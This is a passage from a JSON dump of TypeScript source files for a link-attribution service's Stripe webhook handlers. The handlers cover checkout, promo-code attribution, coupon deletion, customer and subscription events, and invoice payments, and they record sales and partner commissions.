for Stripe customer ${stripeCustomerId} but amount is 0, skipping...`;\n  }\n\n  if (charge.mode === \"setup\") {\n    return `Checkout session completed for Stripe customer ${stripeCustomerId} but mode is \"setup\", skipping...`;\n  }\n\n  if (charge.payment_status !== \"paid\") {\n    return `Checkout session completed for Stripe customer ${stripeCustomerId} but payment_status is not \"paid\", skipping...`;\n  }\n\n  if (invoiceId) {\n    // Skip if invoice id is already processed\n    const ok = await redis.set(\n      `trackSale:stripe:invoiceId:${invoiceId}`, // here we assume that Stripe's invoice ID is unique across all customers\n      {\n        timestamp: new Date().toISOString(),\n        dubCustomerExternalId,\n        stripeCustomerId,\n        stripeAccountId,\n        invoiceId,\n        customerId: customer.id,\n        workspaceId: customer.projectId,\n        amount: chargeAmountTotal,\n        currency: charge.currency,\n      },\n      {\n        ex: 60 * 60 * 24 * 7,\n        nx: true,\n      },\n    );\n\n    if (!ok) {\n      console.info(\n        \"[Stripe Webhook] Skipping already processed invoice.\",\n        invoiceId,\n      );\n      return `Invoice with ID ${invoiceId} already processed, skipping...`;\n    }\n  }\n\n  if (charge.currency && charge.currency !== \"usd\" && chargeAmountTotal) {\n    // support for Stripe Adaptive Pricing: https://docs.stripe.com/payments/checkout/adaptive-pricing\n    if (charge.currency_conversion) {\n      charge.currency = charge.currency_conversion.source_currency;\n      chargeAmountTotal = charge.currency_conversion.amount_total;\n\n      // if Stripe Adaptive Pricing is not enabled, we convert the amount to USD based on the current FX rate\n      // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n    } else {\n      const { currency: convertedCurrency, amount: convertedAmount } =\n        await convertCurrency({\n          currency: charge.currency,\n          amount: chargeAmountTotal,\n        });\n\n      charge.currency = convertedCurrency;\n      chargeAmountTotal = convertedAmount;\n    }\n  }\n\n  const saleData = {\n    ...leadEvent,\n    workspace_id: leadEvent.workspace_id || customer.projectId, // in case for some reason the lead event doesn't have workspace_id\n    event_id: nanoid(16),\n    // if the charge is a one-time payment, we set the event name to \"Purchase\"\n    event_name:\n      charge.mode === \"payment\" ? \"Purchase\" : \"Subscription creation\",\n    payment_processor: \"stripe\",\n    amount: chargeAmountTotal,\n    currency: charge.currency!,\n    invoice_id: invoiceId || \"\",\n    metadata: JSON.stringify({\n      charge,\n    }),\n  };\n\n  const link = await prisma.link.findUnique({\n    where: {\n      id: linkId,\n    },\n  });\n\n  const firstConversionFlag = isFirstConversion({\n    customer,\n    linkId,\n  });\n\n  const [_sale, linkUpdated] = await Promise.all([\n    recordSale(saleData),\n\n    // update link stats\n    link &&\n      prisma.link.update({\n        where: {\n          id: link.id,\n        },\n        data: {\n          ...(firstConversionFlag && {\n            conversions: {\n              increment: 1,\n            },\n            lastConversionAt: new Date(),\n          }),\n          sales: {\n            increment: 1,\n          },\n          saleAmount: {\n            increment: chargeAmountTotal,\n          },\n        },\n        include: includeTags,\n      }),\n\n    // update workspace usage\n    prisma.project.update({\n      where: {\n        id: customer.projectId,\n      },\n      data: {\n        usage: {\n          increment: 1,\n        },\n      },\n    }),\n\n    // update customer stats + program/partner associations\n    prisma.customer.update({\n      where: {\n        id: customer.id,\n      },\n      data: {\n        ...(link?.programId && {\n          programId: link.programId,\n        }),\n        ...(link?.partnerId && {\n          partnerId: link.partnerId,\n        }),\n        sales: {\n          increment: 1,\n        },\n        saleAmount: {\n          increment: chargeAmountTotal,\n        },\n        firstSaleAt: customer.firstSaleAt ? undefined : new Date(),\n        subscriptionCanceledAt: null,\n      },\n    }),\n  ]);\n\n  // for program links\n  let createdCommission:\n    | Awaited<ReturnType<typeof createPartnerCommission>>\n    | undefined = undefined;\n\n  if (link && link.programId && link.partnerId) {\n    const productId = await getSubscriptionProductId({\n      stripeSubscriptionId: charge.subscription as string,\n      stripeAccountId,\n      mode,\n    });\n\n    createdCommission = await createPartnerCommission({\n      event: \"sale\",\n      programId: link.programId,\n      partnerId: link.partnerId,\n      linkId: link.id,\n      eventId: saleData.event_id,\n      customerId: customer.id,\n      amount: saleData.amount,\n      quantity: 1,\n      invoiceId,\n      currency: saleData.currency,\n      context: {\n        customer: {\n          country: customer.country,\n          signupDate: customer.createdAt,\n        },\n        sale: {\n          productId,\n          amount: saleData.amount,\n        },\n      },\n    });\n\n    const { webhookPartner, programEnrollment } = createdCommission;\n\n    waitUntil(\n      Promise.allSettled([\n        executeWorkflows({\n          trigger: \"partnerMetricsUpdated\",\n          reason: \"sale\",\n          identity: {\n            workspaceId: workspace.id,\n            programId: link.programId,\n            partnerId: link.partnerId,\n          },\n          metrics: {\n            current: {\n              saleAmount: saleData.amount,\n              conversions: firstConversionFlag ? 1 : 0,\n            },\n          },\n        }),\n\n        syncPartnerLinksStats({\n          partnerId: link.partnerId,\n          programId: link.programId,\n          eventType: \"sale\",\n        }),\n\n        webhookPartner &&\n          detectAndRecordFraudEvent({\n            program: { id: link.programId },\n            partner: pick(webhookPartner, [\"id\", \"email\", \"name\"]),\n            programEnrollment: pick(programEnrollment, [\"status\"]),\n            customer: {\n              ...pick(customer, [\"id\", \"email\", \"name\"]),\n              isFirstConversion: firstConversionFlag,\n            },\n            link: pick(link, [\"id\"]),\n            click: pick(saleData, [\"url\", \"referer\"]),\n            event: { id: saleData.event_id },\n          }),\n      ]),\n    );\n  }\n\n  waitUntil(\n    Promise.allSettled([\n      sendWorkspaceWebhook({\n        trigger: \"sale.created\",\n        workspace,\n        data: transformSaleEventData({\n          ...saleData,\n          clickedAt: customer.clickedAt || customer.createdAt,\n          link: linkUpdated,\n          customer,\n          partner: createdCommission?.webhookPartner,\n          metadata: null,\n        }),\n      }),\n\n      ...(link?.partnerId\n        ? [\n            sendPartnerPostback({\n              partnerId: link.partnerId,\n              event: \"sale.created\",\n              data: {\n                ...saleData,\n                clickedAt: customer.clickedAt || customer.createdAt,\n                link: linkUpdated,\n                customer,\n              },\n            }),\n          ]\n        : []),\n    ]),\n  );\n\n  return `Checkout session completed for customer with external ID ${dubCustomerExternalId} and invoice ID ${invoiceId}`;\n}\n\nasync function attributeViaPromoCode({\n  promotionCodeId,\n  stripeAccountId,\n  workspace,\n  mode,\n  charge,\n}: {\n  promotionCodeId: string;\n  stripeAccountId: string;\n  workspace: Pick<\n    Project,\n    \"id\" | \"defaultProgramId\" | \"stripeConnectId\" | \"webhookEnabled\"\n  >;\n  mode: StripeMode;\n  charge: Stripe.Checkout.Session;\n}) {\n  // Find the promotion code for the promotion code id\n  const promotionCode = await getPromotionCode({\n    promotionCodeId,\n    stripeAccountId,\n    mode,\n  });\n\n  if (!promotionCode) {\n    console.log(\n      `Promotion code ${promotionCodeId} not found in connected account ${stripeAccountId}, skipping...`,\n    );\n    return null;\n  }\n\n  if (!workspace.defaultProgramId) {\n    console.log(\n      `Workspace with stripeConnectId ${stripeAccountId} has no default program, skipping...`,\n    );\n    return null;\n  }\n\n  const discountCode = await prisma.discountCode.findUnique({\n    where: {\n      programId_code: {\n        programId: workspace.defaultProgramId,\n        code: promotionCode.code,\n      },\n    },\n    select: {\n      link: true,\n    },\n  });\n\n  if (!discountCode) {\n    console.log(\n      `Couldn't find link associated with promotion code ${promotionCode.code}, skipping...`,\n    );\n    return null;\n  }\n\n  const link = discountCode.link;\n  const linkId = link.id;\n\n  // Record a fake click for this event\n  const customerDetails = charge.customer_details;\n  const customerAddress = customerDetails?.address;\n\n  const clickEvent = await recordFakeClick({\n    link,\n    customer: {\n      continent: customerAddress?.country\n        ? COUNTRIES_TO_CONTINENTS[customerAddress.country]\n        : \"Unknown\",\n      country: customerAddress?.country ?? \"Unknown\",\n      region: customerAddress?.state ?? \"Unknown\",\n    },\n  });\n\n  const customer = await prisma.customer.create({\n    data: {\n      id: createId({ prefix: \"cus_\" }),\n      name:\n        customerDetails?.name || customerDetails?.email || generateRandomName(),\n      email: customerDetails?.email,\n      externalId: clickEvent.click_id,\n      stripeCustomerId: charge.customer as string,\n      linkId: clickEvent.link_id,\n      clickId: clickEvent.click_id,\n      clickedAt: new Date(clickEvent.timestamp + \"Z\"),\n      country: customerAddress?.country,\n      projectId: workspace.id,\n      projectConnectId: workspace.stripeConnectId,\n    },\n  });\n\n  // Prepare the payload for the lead event\n  const { timestamp, ...rest } = clickEvent;\n\n  const leadEvent = {\n    ...rest,\n    workspace_id: clickEvent.workspace_id || customer.projectId, // in case for some reason the click event doesn't have workspace_id\n    event_id: nanoid(16),\n    event_name: \"Checkout with discount code\",\n    customer_id: customer.id,\n    metadata: \"\",\n  };\n\n  await recordLead(leadEvent);\n\n  // record lead side effects (link stats, partner commissions, workflows, workspace webhook)\n  waitUntil(\n    (async () => {\n      const linkUpdated = await incrementLinkLeads(link.id);\n\n      let createdCommission:\n        | Awaited<ReturnType<typeof createPartnerCommission>>\n        | undefined = undefined;\n\n      if (link.programId && link.partnerId) {\n        createdCommission = await createPartnerCommission({\n          event: \"lead\",\n          programId: link.programId,\n          partnerId: link.partnerId,\n          linkId: link.id,\n          eventId: leadEvent.event_id,\n          customerId: customer.id,\n          quantity: 1,\n          context: {\n            customer: {\n              country: customer.country,\n            },\n          },\n        });\n\n        await Promise.allSettled([\n          executeWorkflows({\n            trigger: \"partnerMetricsUpdated\",\n            reason: \"lead\",\n            identity: {\n              workspaceId: workspace.id,\n              programId: link.programId,\n              partnerId: link.partnerId,\n            },\n            metrics: {\n              current: {\n                leads: 1,\n              },\n            },\n          }),\n\n          syncPartnerLinksStats({\n            partnerId: link.partnerId,\n            programId: link.programId,\n            eventType: \"lead\",\n          }),\n        ]);\n      }\n\n      await Promise.allSettled([\n        sendWorkspaceWebhook({\n          trigger: \"lead.created\",\n          workspace,\n          data: transformLeadEventData({\n            ...leadEvent,\n            eventName: \"Checkout session completed\",\n            link: linkUpdated,\n            customer,\n            partner: createdCommission?.webhookPartner,\n            metadata: null,\n          }),\n        }),\n\n        ...(link.partnerId\n          ? [\n              sendPartnerPostback({\n                partnerId: link.partnerId,\n                event: \"lead.created\",\n                data: {\n                  ...leadEvent,\n                  eventName: \"Checkout session completed\",\n                  link: linkUpdated,\n                  customer,\n                },\n              }),\n            ]\n          : []),\n      ]);\n    })(),\n  );\n\n  return {\n    linkId,\n    customer,\n    clickEvent,\n    leadEvent,\n  };\n}\n\nasync function incrementLinkLeads(linkId: string) {\n  return prisma.link.update({\n    where: {\n      id: linkId,\n    },\n    data: {\n      leads: {\n        increment: 1,\n      },\n      lastLeadAt: new Date(),\n    },\n    include: includeTags,\n  });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/coupon-deleted.ts",
    "content": "import { getWorkspaceUsers } from \"@/lib/api/get-workspace-users\";\nimport { qstash } from \"@/lib/cron\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport { VARIANT_TO_FROM_MAP } from \"@dub/email/resend/constants\";\nimport DiscountDeleted from \"@dub/email/templates/discount-deleted\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport type Stripe from \"stripe\";\n\n// Handle event \"coupon.deleted\"\nexport async function couponDeleted(event: Stripe.Event) {\n  const coupon = event.data.object as Stripe.Coupon;\n  const stripeAccountId = event.account as string;\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeConnectId: stripeAccountId,\n    },\n    select: {\n      id: true,\n      slug: true,\n      defaultProgramId: true,\n      stripeConnectId: true,\n    },\n  });\n\n  if (!workspace) {\n    return `Workspace not found for Stripe account ${stripeAccountId}.`;\n  }\n\n  if (!workspace.defaultProgramId) {\n    return `Workspace ${workspace.id} for stripe account ${stripeAccountId} has no programs.`;\n  }\n\n  const discounts = await prisma.discount.findMany({\n    where: {\n      programId: workspace.defaultProgramId,\n      OR: [{ couponId: coupon.id }, { couponTestId: coupon.id }],\n    },\n    include: {\n      partnerGroup: true,\n    },\n  });\n\n  if (!discounts.length) {\n    return `Discount not found for Stripe coupon ${coupon.id}.`;\n  }\n\n  const discountIds = discounts.map((d) => d.id);\n\n  await prisma.$transaction(async (tx) => {\n    if (discountIds.length > 0) {\n      await tx.partnerGroup.updateMany({\n        where: {\n          discountId: {\n            in: discountIds,\n          },\n        },\n        data: {\n          discountId: null,\n        },\n      });\n\n      await tx.programEnrollment.updateMany({\n        where: {\n          discountId: {\n            in: discountIds,\n          },\n        },\n        data: {\n          discountId: null,\n        },\n      });\n\n      await tx.discountCode.deleteMany({\n        where: {\n          discountId: {\n            in: discountIds,\n          },\n        },\n      });\n\n      await tx.discount.deleteMany({\n        where: {\n          id: {\n            in: discountIds,\n          },\n        },\n      });\n    }\n  });\n\n  waitUntil(\n    (async () => {\n      const { users } = await getWorkspaceUsers({\n        workspaceId: workspace.id,\n        role: \"owner\",\n      });\n\n      const groupIds = discounts\n        .map((d) => d.partnerGroup?.id)\n        .filter(Boolean) as string[];\n\n      await Promise.allSettled([\n        ...groupIds.map((groupId) =>\n          qstash.publishJSON({\n            url: `${APP_DOMAIN_WITH_NGROK}/api/cron/links/invalidate-for-discounts`,\n            body: {\n              groupId,\n            },\n          }),\n        ),\n\n        sendBatchEmail(\n          users.map((user) => ({\n            from: VARIANT_TO_FROM_MAP.notifications,\n            to: user.email,\n            subject: `${process.env.NEXT_PUBLIC_APP_NAME}: Discount has been deleted`,\n            react: DiscountDeleted({\n              email: user.email,\n              coupon: {\n                id: coupon.id,\n              },\n            }),\n          })),\n        ),\n      ]);\n    })(),\n  );\n\n  return `Stripe coupon ${coupon.id} deleted.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/customer-created.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport type Stripe from \"stripe\";\nimport { createNewCustomer } from \"./utils/create-new-customer\";\n\n// Handle event \"customer.created\"\nexport async function customerCreated(event: Stripe.Event) {\n  const stripeCustomer = event.data.object as Stripe.Customer;\n  const stripeAccountId = event.account as string;\n  const dubCustomerExternalId =\n    stripeCustomer.metadata?.dubCustomerExternalId ||\n    stripeCustomer.metadata?.dubCustomerId;\n\n  if (!dubCustomerExternalId) {\n    return \"External ID not found in Stripe customer metadata, skipping...\";\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeConnectId: stripeAccountId,\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  if (!workspace) {\n    return \"Workspace not found, skipping...\";\n  }\n\n  // Check the customer is not already created\n  const customer = await prisma.customer.findFirst({\n    where: {\n      OR: [\n        {\n          projectId: workspace.id,\n          externalId: dubCustomerExternalId,\n        },\n        {\n          stripeCustomerId: stripeCustomer.id,\n        },\n      ],\n    },\n  });\n\n  if (customer) {\n    // if customer exists (created via /track/lead)\n    // update it with the Stripe customer ID (for future reference by invoice.paid)\n    try {\n      await prisma.customer.update({\n        where: {\n          id: customer.id,\n        },\n        data: {\n          externalId: dubCustomerExternalId,\n          stripeCustomerId: stripeCustomer.id,\n          projectConnectId: stripeAccountId,\n        },\n      });\n\n      return `Dub customer with ID ${customer.id} updated with Stripe customer ID ${stripeCustomer.id}`;\n    } catch (error) {\n      console.error(error);\n      return `Error updating Dub customer with ID ${customer.id}: ${error}`;\n    }\n  }\n\n  // otherwise create a new customer\n  return await createNewCustomer(event);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/customer-subscription-created.ts",
    "content": "import { trackLead } from \"@/lib/api/conversions/track-lead\";\nimport { stripeIntegrationSettingsSchema } from \"@/lib/integrations/stripe/schema\";\nimport { StripeMode } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Customer } from \"@dub/prisma/client\";\nimport { pick, STRIPE_INTEGRATION_ID } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport type Stripe from \"stripe\";\nimport { getConnectedCustomer } from \"./utils/get-connected-customer\";\n\n// Handle event \"customer.subscription.created\"\n// only used for recording free trial creations\nexport async function customerSubscriptionCreated(\n  event: Stripe.Event,\n  mode: StripeMode,\n) {\n  const createdSubscription = event.data.object as Stripe.Subscription;\n\n  if (createdSubscription.status !== \"trialing\") {\n    return \"Subscription is not in trialing status, skipping...\";\n  }\n\n  const stripeAccountId = event.account as string;\n  const stripeCustomerId = createdSubscription.customer as string;\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeConnectId: stripeAccountId,\n    },\n    select: {\n      id: true,\n      slug: true,\n      stripeConnectId: true,\n      webhookEnabled: true,\n      installedIntegrations: {\n        where: {\n          integrationId: STRIPE_INTEGRATION_ID,\n        },\n      },\n    },\n  });\n\n  if (!workspace) {\n    return `Workspace with stripeConnectId ${stripeAccountId} not found, skipping...`;\n  }\n\n  if (!workspace.installedIntegrations.length) {\n    return `Workspace ${workspace.slug} has no Stripe integration installed, skipping...`;\n  }\n\n  const stripeIntegrationSettings = stripeIntegrationSettingsSchema.parse(\n    workspace.installedIntegrations[0].settings ?? {},\n  );\n\n  if (!stripeIntegrationSettings?.freeTrials?.enabled) {\n    return `Stripe free trial tracking is not enabled for workspace ${workspace.slug}, skipping...`;\n  }\n\n  let customer: Customer | null = null;\n\n  // find customer by stripeCustomerId or email\n  customer = await prisma.customer.findUnique({\n    where: {\n      stripeCustomerId,\n    },\n  });\n\n  if (!customer) {\n    const stripeCustomer = await getConnectedCustomer({\n      stripeCustomerId,\n      stripeAccountId,\n      mode,\n    });\n\n    if (stripeCustomer?.email) {\n      customer = await prisma.customer.findFirst({\n        where: {\n          projectId: workspace.id,\n          email: stripeCustomer.email,\n        },\n      });\n\n      if (!customer) {\n        // this should never happen, but just in case\n        return `Customer ${stripeCustomer.id} with email ${stripeCustomer.email} has not been tracked yet, skipping...`;\n      }\n      // update the customer with the Stripe customer ID (for future reference by invoice.paid)\n      waitUntil(\n        prisma.customer.update({\n          where: {\n            id: customer.id,\n          },\n          data: {\n            stripeCustomerId,\n          },\n        }),\n      );\n    } else {\n      // this should never happen either, but just in case\n      return `Customer with stripeCustomerId ${stripeCustomerId} ${stripeCustomer ? \"does not have an email on Stripe\" : \"does not exist\"}, skipping...`;\n    }\n  }\n\n  if (!customer.clickId) {\n    return `Customer ${customer.id} has no clickId, skipping...`;\n  }\n\n  if (!customer.externalId) {\n    return `Customer ${customer.id} has no externalId, skipping...`;\n  }\n\n  // if trackQuantity is enabled, use the quantity from the main subscription item\n  // (e.g. for a 3-seat free trial, the event quantity will be 3)\n  const eventQuantity = stripeIntegrationSettings.freeTrials.trackQuantity\n    ? createdSubscription.items.data[0].quantity\n    : 1;\n\n  await trackLead({\n    clickId: customer.clickId,\n    eventName: \"Started Trial\",\n    customerExternalId: customer.externalId,\n    customerName: customer.name,\n    customerEmail: customer.email,\n    eventQuantity,\n    rawBody: {},\n    workspace: pick(workspace, [\"id\", \"stripeConnectId\", \"webhookEnabled\"]),\n    source: \"trial\",\n  });\n\n  return `Customer subscription created for customer ${customer.id} with stripeCustomerId ${stripeCustomerId} and workspace ${workspace.slug}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/customer-subscription-deleted.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport type Stripe from \"stripe\";\n\n// Handle event \"customer.subscription.deleted\"\nexport async function customerSubscriptionDeleted(event: Stripe.Event) {\n  const deletedSubscription = event.data.object as Stripe.Subscription;\n\n  const customer = await prisma.customer.findUnique({\n    where: {\n      stripeCustomerId: deletedSubscription.customer.toString(),\n    },\n  });\n\n  if (!customer) {\n    return \"Customer not found, skipping subscription cancellation...\";\n  }\n\n  const updatedCustomer = await prisma.customer.update({\n    where: { id: customer.id },\n    data: { subscriptionCanceledAt: new Date() },\n  });\n\n  return `Subscription cancelled, updating customer ${updatedCustomer.id} with subscriptionCanceledAt: ${updatedCustomer.subscriptionCanceledAt}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/customer-updated.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport type Stripe from \"stripe\";\nimport { createNewCustomer } from \"./utils/create-new-customer\";\n\n// Handle event \"customer.updated\"\nexport async function customerUpdated(event: Stripe.Event) {\n  const stripeCustomer = event.data.object as Stripe.Customer;\n  const stripeAccountId = event.account as string;\n  const dubCustomerExternalId =\n    stripeCustomer.metadata?.dubCustomerExternalId ||\n    stripeCustomer.metadata?.dubCustomerId;\n\n  if (!dubCustomerExternalId) {\n    return \"External ID not found in Stripe customer metadata, skipping...\";\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeConnectId: stripeAccountId,\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  if (!workspace) {\n    return \"Workspace not found, skipping...\";\n  }\n\n  const customer = await prisma.customer.findFirst({\n    where: {\n      OR: [\n        {\n          projectId: workspace.id,\n          externalId: dubCustomerExternalId,\n        },\n        {\n          stripeCustomerId: stripeCustomer.id,\n        },\n      ],\n    },\n  });\n\n  if (customer) {\n    try {\n      await prisma.customer.update({\n        where: {\n          id: customer.id,\n        },\n        data: {\n          name: stripeCustomer.name,\n          email: stripeCustomer.email,\n          externalId: dubCustomerExternalId,\n          stripeCustomerId: stripeCustomer.id,\n          projectConnectId: stripeAccountId,\n        },\n      });\n\n      return `Dub customer with ID ${customer.id} updated.`;\n    } catch (error) {\n      console.error(error);\n      return `Error updating Dub customer with ID ${customer.id}: ${error}`;\n    }\n  }\n\n  // otherwise create a new customer\n  return await createNewCustomer(event);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/invoice-paid.ts",
    "content": "import { convertCurrency } from \"@/lib/analytics/convert-currency\";\nimport { isFirstConversion } from \"@/lib/analytics/is-first-conversion\";\nimport { detectAndRecordFraudEvent } from \"@/lib/api/fraud/detect-record-fraud-event\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { syncPartnerLinksStats } from \"@/lib/api/partners/sync-partner-links-stats\";\nimport { executeWorkflows } from \"@/lib/api/workflows/execute-workflows\";\nimport { createPartnerCommission } from \"@/lib/partners/create-partner-commission\";\nimport { sendPartnerPostback } from \"@/lib/postback/api/send-partner-postback\";\nimport { getLeadEvent, recordSale } from \"@/lib/tinybird\";\nimport { StripeMode } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { transformSaleEventData } from \"@/lib/webhook/transform\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, pick } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport type Stripe from \"stripe\";\nimport { getConnectedCustomer } from \"./utils/get-connected-customer\";\n\n// Handle event \"invoice.paid\"\nexport async function invoicePaid(event: Stripe.Event, mode: StripeMode) {\n  const invoice = event.data.object as Stripe.Invoice;\n  const stripeAccountId = event.account as string;\n  const stripeCustomerId = invoice.customer as string;\n  const invoiceId = invoice.id;\n\n  // Find customer using stripeCustomerId\n  let customer = await prisma.customer.findUnique({\n    where: {\n      stripeCustomerId,\n    },\n  });\n\n  // if customer is not found, we check if the connected customer has a dubCustomerExternalId\n  if (!customer) {\n    const connectedCustomer = await getConnectedCustomer({\n      stripeCustomerId,\n      stripeAccountId,\n      mode,\n    });\n\n    const dubCustomerExternalId =\n      connectedCustomer?.metadata.dubCustomerExternalId ||\n      connectedCustomer?.metadata.dubCustomerId;\n\n    if (dubCustomerExternalId) {\n      try {\n        // Update customer with stripeCustomerId if exists – for future events\n        customer = await prisma.customer.update({\n          where: {\n            projectConnectId_externalId: {\n              projectConnectId: stripeAccountId,\n              externalId: dubCustomerExternalId,\n            },\n          },\n          data: {\n            stripeCustomerId,\n          },\n        });\n      } catch (error) {\n        console.log(error);\n        return `Customer with dubCustomerExternalId ${dubCustomerExternalId} not found, skipping...`;\n      }\n    }\n  }\n\n  // if customer is still not found, we skip the event\n  if (!customer) {\n    return `Customer with stripeCustomerId ${stripeCustomerId} not found on Dub (nor does the connected customer ${stripeCustomerId} have a valid dubCustomerExternalId), skipping...`;\n  }\n\n  // Sale amount excluding tax: use total_excluding_tax only when invoice was paid in full\n  // (amount_paid === total); otherwise use amount_paid (e.g. credits applied, upsells, etc.).\n  let invoiceSaleAmount =\n    invoice.amount_paid === invoice.total && invoice.total_excluding_tax != null\n      ? invoice.total_excluding_tax\n      : invoice.amount_paid;\n\n  // Skip if invoice id is already processed\n  const ok = await redis.set(\n    `trackSale:stripe:invoiceId:${invoiceId}`, // here we assume that Stripe's invoice ID is unique across all customers\n    {\n      timestamp: new Date().toISOString(),\n      dubCustomerExternalId: customer.externalId,\n      stripeCustomerId,\n      stripeAccountId,\n      invoiceId,\n      customerId: customer.id,\n      workspaceId: customer.projectId,\n      amount: invoiceSaleAmount,\n      currency: invoice.currency,\n    },\n    {\n      ex: 60 * 60 * 24 * 7,\n      nx: true,\n    },\n  );\n\n  if (!ok) {\n    console.info(\n      \"[Stripe Webhook] Skipping already processed invoice.\",\n      invoiceId,\n    );\n    return `Invoice with ID ${invoiceId} already processed, skipping...`;\n  }\n\n  // Stripe can sometimes return a negative amount for some reason, so we skip if it's below 0\n  if (invoiceSaleAmount <= 0) {\n    return `Invoice with ID ${invoiceId} has an amount of 0, skipping...`;\n  }\n\n  // if currency is not USD, convert it to USD  based on the current FX rate\n  // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n  if (invoice.currency && invoice.currency !== \"usd\") {\n    const { currency: convertedCurrency, amount: convertedAmount } =\n      await convertCurrency({\n        currency: invoice.currency,\n        amount: invoiceSaleAmount,\n      });\n\n    invoice.currency = convertedCurrency;\n    invoiceSaleAmount = convertedAmount;\n  }\n\n  // Find lead\n  const leadEvent = await getLeadEvent({ customerId: customer.id });\n  if (!leadEvent) {\n    return `Lead event with customer ID ${customer.id} not found, skipping...`;\n  }\n\n  const eventId = nanoid(16);\n\n  // if the invoice has no subscription, it's a one-time payment\n  const isOneTimePayment = invoice.lines.data.some(\n    (line) => line.parent?.subscription_item_details === null,\n  );\n\n  const saleData = {\n    ...leadEvent,\n    workspace_id: leadEvent.workspace_id || customer.projectId, // in case for some reason the lead event doesn't have workspace_id\n    event_id: eventId,\n    event_name: isOneTimePayment ? \"Purchase\" : \"Invoice paid\",\n    payment_processor: \"stripe\",\n    amount: invoiceSaleAmount,\n    currency: invoice.currency,\n    invoice_id: invoiceId,\n    metadata: JSON.stringify({\n      invoice,\n    }),\n  };\n\n  const linkId = leadEvent.link_id;\n  const link = await prisma.link.findUnique({\n    where: {\n      id: linkId,\n    },\n  });\n\n  if (!link) {\n    return `Link with ID ${linkId} not found, skipping...`;\n  }\n\n  const firstConversionFlag = isFirstConversion({\n    customer,\n    linkId,\n  });\n\n  const [_sale, linkUpdated, workspace] = await Promise.all([\n    recordSale(saleData),\n\n    // update link stats\n    prisma.link.update({\n      where: {\n        id: linkId,\n      },\n      data: {\n        ...(firstConversionFlag && {\n          conversions: {\n            increment: 1,\n          },\n          lastConversionAt: new Date(),\n        }),\n        sales: {\n          increment: 1,\n        },\n        saleAmount: {\n          increment: invoiceSaleAmount,\n        },\n      },\n      include: includeTags,\n    }),\n\n    // update workspace sales usage\n    prisma.project.update({\n      where: {\n        id: customer.projectId,\n      },\n      data: {\n        usage: {\n          increment: 1,\n        },\n      },\n    }),\n\n    // update customer sales count\n    prisma.customer.update({\n      where: {\n        id: customer.id,\n      },\n      data: {\n        sales: {\n          increment: 1,\n        },\n        saleAmount: {\n          increment: invoiceSaleAmount,\n        },\n        firstSaleAt: customer.firstSaleAt ? undefined : new Date(),\n      },\n    }),\n  ]);\n\n  // for program links\n  let createdCommission:\n    | Awaited<ReturnType<typeof createPartnerCommission>>\n    | undefined = undefined;\n\n  if (link.programId && link.partnerId) {\n    createdCommission = await createPartnerCommission({\n      event: \"sale\",\n      programId: link.programId,\n      partnerId: link.partnerId,\n      linkId: link.id,\n      eventId,\n      customerId: customer.id,\n      amount: saleData.amount,\n      quantity: 1,\n      invoiceId,\n      currency: saleData.currency,\n      context: {\n        customer: {\n          country: customer.country,\n          signupDate: customer.createdAt,\n        },\n        sale: {\n          productId: invoice.lines.data[0]?.pricing?.price_details?.product,\n          amount: saleData.amount,\n        },\n      },\n    });\n\n    const { webhookPartner, programEnrollment } = createdCommission;\n\n    waitUntil(\n      Promise.allSettled([\n        executeWorkflows({\n          trigger: \"partnerMetricsUpdated\",\n          reason: \"sale\",\n          identity: {\n            workspaceId: workspace.id,\n            programId: link.programId,\n            partnerId: link.partnerId,\n          },\n          metrics: {\n            current: {\n              saleAmount: saleData.amount,\n              conversions: firstConversionFlag ? 1 : 0,\n            },\n          },\n        }),\n\n        syncPartnerLinksStats({\n          partnerId: link.partnerId,\n          programId: link.programId,\n          eventType: \"sale\",\n        }),\n\n        webhookPartner &&\n          detectAndRecordFraudEvent({\n            program: { id: link.programId },\n            partner: pick(webhookPartner, [\"id\", \"email\", \"name\"]),\n            programEnrollment: pick(programEnrollment, [\"status\"]),\n            customer: {\n              ...pick(customer, [\"id\", \"email\", \"name\"]),\n              isFirstConversion: firstConversionFlag,\n            },\n            link: pick(link, [\"id\"]),\n            click: pick(saleData, [\"url\", \"referer\"]),\n            event: { id: saleData.event_id },\n          }),\n      ]),\n    );\n  }\n\n  waitUntil(\n    Promise.allSettled([\n      sendWorkspaceWebhook({\n        trigger: \"sale.created\",\n        workspace,\n        data: transformSaleEventData({\n          ...saleData,\n          clickedAt: customer.clickedAt || customer.createdAt,\n          link: linkUpdated,\n          customer,\n          partner: createdCommission?.webhookPartner,\n          metadata: null,\n        }),\n      }),\n\n      ...(link?.partnerId\n        ? [\n            sendPartnerPostback({\n              partnerId: link.partnerId,\n              event: \"sale.created\",\n              data: {\n                ...saleData,\n                clickedAt: customer.clickedAt || customer.createdAt,\n                link: linkUpdated,\n                customer,\n              },\n            }),\n          ]\n        : []),\n    ]),\n  );\n\n  return 